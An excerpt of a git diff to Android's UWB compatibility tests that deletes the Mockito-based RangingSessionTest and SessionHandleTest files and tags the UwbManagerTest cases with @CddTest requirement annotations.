--- a/tests/uwb/src/android/uwb/cts/RangingSessionTest.java
+++ /dev/null
@@ -1,629 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.uwb.cts;
-
-import static android.uwb.RangingSession.Callback.REASON_BAD_PARAMETERS;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.ArgumentMatchers.anyInt;
-import static org.mockito.ArgumentMatchers.eq;
-import static org.mockito.Mockito.doAnswer;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.times;
-import static org.mockito.Mockito.verify;
-
-import android.os.PersistableBundle;
-import android.os.RemoteException;
-import android.uwb.IUwbAdapter;
-import android.uwb.RangingReport;
-import android.uwb.RangingSession;
-import android.uwb.SessionHandle;
-import android.uwb.UwbAddress;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-import androidx.test.filters.SmallTest;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.mockito.invocation.InvocationOnMock;
-import org.mockito.stubbing.Answer;
-
-import java.util.concurrent.Executor;
-
-/**
- * Test of {@link RangingSession}.
- */
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-public class RangingSessionTest {
- private static final Executor EXECUTOR = UwbTestUtils.getExecutor();
- private static final PersistableBundle PARAMS = new PersistableBundle();
- private static final UwbAddress UWB_ADDRESS = UwbAddress.fromBytes(new byte[] {0x00, 0x56});
- private static final @RangingSession.Callback.Reason int REASON =
- RangingSession.Callback.REASON_GENERIC_ERROR;
-
- @Test
- public void testOnRangingOpened_OnOpenSuccessCalled() {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- verifyOpenState(session, false);
-
- session.onRangingOpened();
- verifyOpenState(session, true);
-
- // Verify that the onOpenSuccess callback was invoked
- verify(callback, times(1)).onOpened(eq(session));
- verify(callback, times(0)).onClosed(anyInt(), any());
- }
-
- @Test
- public void testOnRangingOpened_OnServiceDiscoveredConnectedCalled() {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- verifyOpenState(session, false);
-
- session.onRangingOpened();
- verifyOpenState(session, true);
-
- // Verify that the onOpenSuccess callback was invoked
- verify(callback, times(1)).onOpened(eq(session));
- verify(callback, times(0)).onClosed(anyInt(), any());
-
- session.onServiceDiscovered(PARAMS);
- verify(callback, times(1)).onServiceDiscovered(eq(PARAMS));
-
- session.onServiceConnected(PARAMS);
- verify(callback, times(1)).onServiceConnected(eq(PARAMS));
- }
-
-
- @Test
- public void testOnRangingOpened_CannotOpenClosedSession() {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
-
- session.onRangingOpened();
- verifyOpenState(session, true);
- verify(callback, times(1)).onOpened(eq(session));
- verify(callback, times(0)).onClosed(anyInt(), any());
-
- session.onRangingClosed(REASON, PARAMS);
- verifyOpenState(session, false);
- verify(callback, times(1)).onOpened(eq(session));
- verify(callback, times(1)).onClosed(anyInt(), any());
-
- // Now invoke the ranging started callback and ensure the session remains closed
- session.onRangingOpened();
- verifyOpenState(session, false);
- verify(callback, times(1)).onOpened(eq(session));
- verify(callback, times(1)).onClosed(anyInt(), any());
- }
-
- @Test
- public void testOnRangingClosed_OnClosedCalledWhenSessionNotOpen() {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- verifyOpenState(session, false);
-
- session.onRangingClosed(REASON, PARAMS);
- verifyOpenState(session, false);
-
- // Verify that the onOpenSuccess callback was invoked
- verify(callback, times(0)).onOpened(eq(session));
- verify(callback, times(1)).onClosed(anyInt(), any());
- }
-
- @Test
- public void testOnRangingClosed_OnClosedCalled() {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- session.onRangingStarted(PARAMS);
- session.onRangingClosed(REASON, PARAMS);
- verify(callback, times(1)).onClosed(anyInt(), any());
-
- verifyOpenState(session, false);
- session.onRangingClosed(REASON, PARAMS);
- verify(callback, times(2)).onClosed(anyInt(), any());
- }
-
- @Test
- public void testOnRangingResult_OnReportReceivedCalled() {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- verifyOpenState(session, false);
-
- session.onRangingStarted(PARAMS);
- verifyOpenState(session, true);
-
- RangingReport report = UwbTestUtils.getRangingReports(1);
- session.onRangingResult(report);
- verify(callback, times(1)).onReportReceived(eq(report));
- }
-
- @Test
- public void testStart_CannotStartIfAlreadyStarted() throws RemoteException {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any());
- session.onRangingOpened();
-
- session.start(PARAMS);
- verify(callback, times(1)).onStarted(any());
-
- // Calling start again should throw an illegal state
- verifyThrowIllegalState(() -> session.start(PARAMS));
- verify(callback, times(1)).onStarted(any());
- }
-
- @Test
- public void testStop_CannotStopIfAlreadyStopped() throws RemoteException {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any());
- doAnswer(new StopAnswer(session)).when(adapter).stopRanging(any());
- session.onRangingOpened();
- session.start(PARAMS);
-
- verifyNoThrowIllegalState(session::stop);
- verify(callback, times(1)).onStopped(anyInt(), any());
-
- // Calling stop again should throw an illegal state
- verifyThrowIllegalState(session::stop);
- verify(callback, times(1)).onStopped(anyInt(), any());
- }
-
- @Test
- public void testStop_CannotStopIfOpenFailed() throws RemoteException {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any());
- doAnswer(new StopAnswer(session)).when(adapter).stopRanging(any());
- session.onRangingOpened();
- session.start(PARAMS);
-
- verifyNoThrowIllegalState(() -> session.onRangingOpenFailed(REASON_BAD_PARAMETERS, PARAMS));
- verify(callback, times(1)).onOpenFailed(
- REASON_BAD_PARAMETERS, PARAMS);
-
- // Calling stop again should throw an illegal state
- verifyThrowIllegalState(session::stop);
- verify(callback, times(0)).onStopped(anyInt(), any());
- }
-
- @Test
- public void testCallbacks_OnlyWhenOpened() throws RemoteException {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- doAnswer(new OpenAnswer(session)).when(adapter).openRanging(
- any(), any(), any(), any(), any());
- doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any());
- doAnswer(new ReconfigureAnswer(session)).when(adapter).reconfigureRanging(any(), any());
- doAnswer(new PauseAnswer(session)).when(adapter).pause(any(), any());
- doAnswer(new ResumeAnswer(session)).when(adapter).resume(any(), any());
- doAnswer(new ControleeAddAnswer(session)).when(adapter).addControlee(any(), any());
- doAnswer(new ControleeRemoveAnswer(session)).when(adapter).removeControlee(any(), any());
- doAnswer(new DataSendAnswer(session)).when(adapter).sendData(any(), any(), any(), any());
- doAnswer(new StopAnswer(session)).when(adapter).stopRanging(any());
- doAnswer(new CloseAnswer(session)).when(adapter).closeRanging(any());
-
- verifyThrowIllegalState(() -> session.reconfigure(PARAMS));
- verify(callback, times(0)).onReconfigured(any());
- verifyOpenState(session, false);
-
- session.onRangingOpened();
- verifyOpenState(session, true);
- verify(callback, times(1)).onOpened(any());
- verifyNoThrowIllegalState(() -> session.reconfigure(PARAMS));
- verify(callback, times(1)).onReconfigured(any());
- verifyThrowIllegalState(() -> session.pause(PARAMS));
- verify(callback, times(0)).onPaused(any());
- verifyThrowIllegalState(() -> session.resume(PARAMS));
- verify(callback, times(0)).onResumed(any());
- verifyNoThrowIllegalState(() -> session.addControlee(PARAMS));
- verify(callback, times(1)).onControleeAdded(any());
- verifyNoThrowIllegalState(() -> session.removeControlee(PARAMS));
- verify(callback, times(1)).onControleeRemoved(any());
- verifyThrowIllegalState(() -> session.sendData(
- UWB_ADDRESS, PARAMS, new byte[] {0x05, 0x1}));
- verify(callback, times(0)).onDataSent(any(), any());
-
- session.onRangingStartFailed(REASON_BAD_PARAMETERS, PARAMS);
- verifyOpenState(session, true);
- verify(callback, times(1)).onStartFailed(
- REASON_BAD_PARAMETERS, PARAMS);
-
- session.onRangingStarted(PARAMS);
- verifyOpenState(session, true);
- verifyNoThrowIllegalState(() -> session.reconfigure(PARAMS));
- verify(callback, times(2)).onReconfigured(any());
- verifyNoThrowIllegalState(() -> session.reconfigure(null));
- verify(callback, times(1)).onReconfigureFailed(
- eq(REASON_BAD_PARAMETERS), any());
- verifyNoThrowIllegalState(() -> session.pause(PARAMS));
- verify(callback, times(1)).onPaused(any());
- verifyNoThrowIllegalState(() -> session.pause(null));
- verify(callback, times(1)).onPauseFailed(
- eq(REASON_BAD_PARAMETERS), any());
- verifyNoThrowIllegalState(() -> session.resume(PARAMS));
- verify(callback, times(1)).onResumed(any());
- verifyNoThrowIllegalState(() -> session.resume(null));
- verify(callback, times(1)).onResumeFailed(
- eq(REASON_BAD_PARAMETERS), any());
- verifyNoThrowIllegalState(() -> session.addControlee(PARAMS));
- verify(callback, times(2)).onControleeAdded(any());
- verifyNoThrowIllegalState(() -> session.addControlee(null));
- verify(callback, times(1)).onControleeAddFailed(
- eq(REASON_BAD_PARAMETERS), any());
- verifyNoThrowIllegalState(() -> session.removeControlee(PARAMS));
- verify(callback, times(2)).onControleeRemoved(any());
- verifyNoThrowIllegalState(() -> session.removeControlee(null));
- verify(callback, times(1)).onControleeRemoveFailed(
- eq(REASON_BAD_PARAMETERS), any());
- verifyNoThrowIllegalState(() -> session.sendData(
- UWB_ADDRESS, PARAMS, new byte[] {0x05, 0x1}));
- verify(callback, times(1)).onDataSent(any(), any());
- verifyNoThrowIllegalState(() -> session.sendData(
- null, PARAMS, new byte[] {0x05, 0x1}));
- verify(callback, times(1)).onDataSendFailed(
- eq(null), eq(REASON_BAD_PARAMETERS), any());
-
- session.onDataReceived(UWB_ADDRESS, PARAMS, new byte[] {0x5, 0x7});
- verify(callback, times(1)).onDataReceived(
- UWB_ADDRESS, PARAMS, new byte[] {0x5, 0x7});
- session.onDataReceiveFailed(UWB_ADDRESS, REASON_BAD_PARAMETERS, PARAMS);
- verify(callback, times(1)).onDataReceiveFailed(
- UWB_ADDRESS, REASON_BAD_PARAMETERS, PARAMS);
-
- session.stop();
- verifyOpenState(session, true);
- verify(callback, times(1)).onStopped(REASON, PARAMS);
-
- verifyNoThrowIllegalState(() -> session.reconfigure(PARAMS));
- verify(callback, times(3)).onReconfigured(any());
- verifyThrowIllegalState(() -> session.pause(PARAMS));
- verify(callback, times(1)).onPaused(any());
- verifyThrowIllegalState(() -> session.resume(PARAMS));
- verify(callback, times(1)).onResumed(any());
- verifyNoThrowIllegalState(() -> session.addControlee(PARAMS));
- verify(callback, times(3)).onControleeAdded(any());
- verifyNoThrowIllegalState(() -> session.removeControlee(PARAMS));
- verify(callback, times(3)).onControleeRemoved(any());
- verifyThrowIllegalState(() -> session.sendData(
- UWB_ADDRESS, PARAMS, new byte[] {0x05, 0x1}));
- verify(callback, times(1)).onDataSent(any(), any());
-
- session.close();
- verifyOpenState(session, false);
- verify(callback, times(1)).onClosed(REASON, PARAMS);
-
- verifyThrowIllegalState(() -> session.reconfigure(PARAMS));
- verify(callback, times(3)).onReconfigured(any());
- verifyThrowIllegalState(() -> session.pause(PARAMS));
- verify(callback, times(1)).onPaused(any());
- verifyThrowIllegalState(() -> session.resume(PARAMS));
- verify(callback, times(1)).onResumed(any());
- verifyThrowIllegalState(() -> session.addControlee(PARAMS));
- verify(callback, times(3)).onControleeAdded(any());
- verifyThrowIllegalState(() -> session.removeControlee(PARAMS));
- verify(callback, times(3)).onControleeRemoved(any());
- verifyThrowIllegalState(() -> session.sendData(
- UWB_ADDRESS, PARAMS, new byte[] {0x05, 0x1}));
- verify(callback, times(1)).onDataSent(any(), any());
- }
-
- @Test
- public void testClose_NoCallbackUntilInvoked() throws RemoteException {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- session.onRangingOpened();
-
- // Calling close multiple times should invoke closeRanging until the session receives
- // the onClosed callback.
- int totalCallsBeforeOnRangingClosed = 3;
- for (int i = 1; i <= totalCallsBeforeOnRangingClosed; i++) {
- session.close();
- verifyOpenState(session, true);
- verify(adapter, times(i)).closeRanging(handle);
- verify(callback, times(0)).onClosed(anyInt(), any());
- }
-
- // After onClosed is invoked, then the adapter should no longer be called for each call to
- // the session's close.
- final int totalCallsAfterOnRangingClosed = 2;
- for (int i = 1; i <= totalCallsAfterOnRangingClosed; i++) {
- session.onRangingClosed(REASON, PARAMS);
- verifyOpenState(session, false);
- verify(adapter, times(totalCallsBeforeOnRangingClosed)).closeRanging(handle);
- verify(callback, times(i)).onClosed(anyInt(), any());
- }
- }
-
- @Test
- public void testClose_OnClosedCalled() throws RemoteException {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- doAnswer(new CloseAnswer(session)).when(adapter).closeRanging(any());
- session.onRangingOpened();
-
- session.close();
- verify(callback, times(1)).onClosed(anyInt(), any());
- }
-
- @Test
- public void testClose_CannotInteractFurther() throws RemoteException {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- doAnswer(new CloseAnswer(session)).when(adapter).closeRanging(any());
- session.close();
-
- verifyThrowIllegalState(() -> session.start(PARAMS));
- verifyThrowIllegalState(() -> session.reconfigure(PARAMS));
- verifyThrowIllegalState(() -> session.stop());
- verifyNoThrowIllegalState(() -> session.close());
- }
-
- @Test
- public void testOnRangingResult_OnReportReceivedCalledWhenOpen() {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
-
- assertFalse(session.isOpen());
- session.onRangingStarted(PARAMS);
- assertTrue(session.isOpen());
-
- // Verify that the onReportReceived callback was invoked
- RangingReport report = UwbTestUtils.getRangingReports(1);
- session.onRangingResult(report);
- verify(callback, times(1)).onReportReceived(report);
- }
-
- @Test
- public void testOnRangingResult_OnReportReceivedNotCalledWhenNotOpen() {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
-
- assertFalse(session.isOpen());
-
- // Verify that the onReportReceived callback was invoked
- RangingReport report = UwbTestUtils.getRangingReports(1);
- session.onRangingResult(report);
- verify(callback, times(0)).onReportReceived(report);
- }
-
- private void verifyOpenState(RangingSession session, boolean expected) {
- assertEquals(expected, session.isOpen());
- }
-
- private void verifyThrowIllegalState(Runnable runnable) {
- try {
- runnable.run();
- fail();
- } catch (IllegalStateException e) {
- // Pass
- }
- }
-
- private void verifyNoThrowIllegalState(Runnable runnable) {
- try {
- runnable.run();
- } catch (IllegalStateException e) {
- fail();
- }
- }
-
- abstract class AdapterAnswer implements Answer {
- protected RangingSession mSession;
-
- protected AdapterAnswer(RangingSession session) {
- mSession = session;
- }
- }
-
- class OpenAnswer extends AdapterAnswer {
- OpenAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- PersistableBundle argParams = invocation.getArgument(1);
- if (argParams != null) {
- mSession.onRangingOpened();
- } else {
- mSession.onRangingOpenFailed(REASON_BAD_PARAMETERS, PARAMS);
- }
- return null;
- }
- }
-
- class StartAnswer extends AdapterAnswer {
- StartAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- PersistableBundle argParams = invocation.getArgument(1);
- if (argParams != null) {
- mSession.onRangingStarted(PARAMS);
- } else {
- mSession.onRangingStartFailed(REASON_BAD_PARAMETERS, PARAMS);
- }
- return null;
- }
- }
-
- class ReconfigureAnswer extends AdapterAnswer {
- ReconfigureAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- PersistableBundle argParams = invocation.getArgument(1);
- if (argParams != null) {
- mSession.onRangingReconfigured(PARAMS);
- } else {
- mSession.onRangingReconfigureFailed(REASON_BAD_PARAMETERS, PARAMS);
- }
- return null;
- }
- }
-
- class PauseAnswer extends AdapterAnswer {
- PauseAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- PersistableBundle argParams = invocation.getArgument(1);
- if (argParams != null) {
- mSession.onRangingPaused(PARAMS);
- } else {
- mSession.onRangingPauseFailed(REASON_BAD_PARAMETERS, PARAMS);
- }
- return null;
- }
- }
-
- class ResumeAnswer extends AdapterAnswer {
- ResumeAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- PersistableBundle argParams = invocation.getArgument(1);
- if (argParams != null) {
- mSession.onRangingResumed(PARAMS);
- } else {
- mSession.onRangingResumeFailed(REASON_BAD_PARAMETERS, PARAMS);
- }
- return null;
- }
- }
-
- class ControleeAddAnswer extends AdapterAnswer {
- ControleeAddAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- PersistableBundle argParams = invocation.getArgument(1);
- if (argParams != null) {
- mSession.onControleeAdded(PARAMS);
- } else {
- mSession.onControleeAddFailed(REASON_BAD_PARAMETERS, PARAMS);
- }
- return null;
- }
- }
-
- class ControleeRemoveAnswer extends AdapterAnswer {
- ControleeRemoveAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- PersistableBundle argParams = invocation.getArgument(1);
- if (argParams != null) {
- mSession.onControleeRemoved(PARAMS);
- } else {
- mSession.onControleeRemoveFailed(REASON_BAD_PARAMETERS, PARAMS);
- }
- return null;
- }
- }
-
- class DataSendAnswer extends AdapterAnswer {
- DataSendAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- UwbAddress argParams = invocation.getArgument(1);
- if (argParams != null) {
- mSession.onDataSent(UWB_ADDRESS, PARAMS);
- } else {
- mSession.onDataSendFailed(null, REASON_BAD_PARAMETERS, PARAMS);
- }
- return null;
- }
- }
-
- class StopAnswer extends AdapterAnswer {
- StopAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- mSession.onRangingStopped(REASON, PARAMS);
- return null;
- }
- }
-
- class CloseAnswer extends AdapterAnswer {
- CloseAnswer(RangingSession session) {
- super(session);
- }
-
- @Override
- public Object answer(InvocationOnMock invocation) {
- mSession.onRangingClosed(REASON, PARAMS);
- return null;
- }
- }
-}
diff --git a/tests/uwb/src/android/uwb/cts/SessionHandleTest.java b/tests/uwb/src/android/uwb/cts/SessionHandleTest.java
deleted file mode 100644
index d52a3e7..0000000
--- a/tests/uwb/src/android/uwb/cts/SessionHandleTest.java
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.uwb.cts;
-
-import static org.junit.Assert.assertEquals;
-
-import android.os.Parcel;
-import android.uwb.SessionHandle;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-import androidx.test.filters.SmallTest;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Test of {@link SessionHandle}.
- */
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-public class SessionHandleTest {
-
- @Test
- public void testBasic() {
- int handleId = 12;
- SessionHandle handle = new SessionHandle(handleId);
- assertEquals(handle.getId(), handleId);
- }
-
- @Test
- public void testParcel() {
- Parcel parcel = Parcel.obtain();
- SessionHandle handle = new SessionHandle(10);
- handle.writeToParcel(parcel, 0);
- parcel.setDataPosition(0);
- SessionHandle fromParcel = SessionHandle.CREATOR.createFromParcel(parcel);
- assertEquals(handle, fromParcel);
- }
-}
diff --git a/tests/uwb/src/android/uwb/cts/UwbManagerTest.java b/tests/uwb/src/android/uwb/cts/UwbManagerTest.java
index 8e3c098..097f799 100644
--- a/tests/uwb/src/android/uwb/cts/UwbManagerTest.java
+++ b/tests/uwb/src/android/uwb/cts/UwbManagerTest.java
@@ -51,6 +51,7 @@
import androidx.test.ext.junit.runners.AndroidJUnit4;
import androidx.test.filters.SmallTest;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.ShellIdentityUtils;
import com.google.uwb.support.fira.FiraOpenSessionParams;
@@ -120,6 +121,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetSpecificationInfo() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -134,6 +136,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetSpecificationInfoWithChipId() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -149,6 +152,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetChipInfos() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -164,6 +168,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetSpecificationInfoWithInvalidChipId() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -177,6 +182,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetSpecificationInfoWithoutUwbPrivileged() {
try {
mUwbManager.getSpecificationInfo();
@@ -189,6 +195,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetSpecificationInfoWithChipIdWithoutUwbPrivileged() {
try {
mUwbManager.getSpecificationInfo(mDefaultChipId);
@@ -202,6 +209,7 @@
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testElapsedRealtimeResolutionNanos() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -214,6 +222,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testElapsedRealtimeResolutionNanosWithChipId() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -227,6 +236,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testElapsedRealtimeResolutionNanosWithInvalidChipId() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -240,6 +250,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testElapsedRealtimeResolutionNanosWithoutUwbPrivileged() {
try {
mUwbManager.elapsedRealtimeResolutionNanos();
@@ -252,6 +263,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testElapsedRealtimeResolutionNanosWithChipIdWithoutUwbPrivileged() {
try {
mUwbManager.elapsedRealtimeResolutionNanos(mDefaultChipId);
@@ -264,6 +276,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testAddServiceProfileWithoutUwbPrivileged() {
try {
mUwbManager.addServiceProfile(new PersistableBundle());
@@ -276,6 +289,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testRemoveServiceProfileWithoutUwbPrivileged() {
try {
mUwbManager.removeServiceProfile(new PersistableBundle());
@@ -289,6 +303,7 @@
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetAllServiceProfilesWithoutUwbPrivileged() {
try {
mUwbManager.getAllServiceProfiles();
@@ -301,6 +316,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetAdfProvisioningAuthoritiesWithoutUwbPrivileged() {
try {
mUwbManager.getAdfProvisioningAuthorities(new PersistableBundle());
@@ -313,6 +329,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetAdfCertificateInfoWithoutUwbPrivileged() {
try {
mUwbManager.getAdfCertificateInfo(new PersistableBundle());
@@ -325,6 +342,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testGetChipInfosWithoutUwbPrivileged() {
try {
mUwbManager.getChipInfos();
@@ -337,6 +355,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testSendVendorUciWithoutUwbPrivileged() {
try {
mUwbManager.sendVendorUciMessage(10, 0, new byte[0]);
@@ -372,6 +391,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testProvisionProfileAdfByScriptWithoutUwbPrivileged() {
CountDownLatch countDownLatch = new CountDownLatch(1);
AdfProvisionStateCallback adfProvisionStateCallback =
@@ -390,6 +410,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testRemoveProfileAdfWithoutUwbPrivileged() {
try {
mUwbManager.removeProfileAdf(new PersistableBundle());
@@ -434,6 +455,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testRegisterVendorUciCallbackWithoutUwbPrivileged() {
UwbManager.UwbVendorUciCallback cb =
new UwbVendorUciCallback(new CountDownLatch(1), new CountDownLatch(1));
@@ -449,6 +471,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testUnregisterVendorUciCallbackWithoutUwbPrivileged() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
UwbManager.UwbVendorUciCallback cb =
@@ -474,6 +497,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testInvalidCallbackUnregisterVendorUciCallback() {
UwbManager.UwbVendorUciCallback cb =
new UwbVendorUciCallback(new CountDownLatch(1), new CountDownLatch(1));
@@ -564,6 +588,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testOpenRangingSessionWithInvalidChipId() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
CountDownLatch countDownLatch = new CountDownLatch(1);
@@ -583,6 +608,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testOpenRangingSessionWithChipIdWithBadParams() throws Exception {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
CancellationSignal cancellationSignal = null;
@@ -610,6 +636,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testOpenRangingSessionWithInvalidChipIdWithBadParams() throws Exception {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
CancellationSignal cancellationSignal = null;
@@ -640,6 +667,7 @@
* Simulates the app holding UWB_RANGING permission, but not UWB_PRIVILEGED.
*/
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
public void testOpenRangingSessionWithoutUwbPrivileged() {
UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
try {
@@ -659,6 +687,7 @@
}
@Test
+ @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
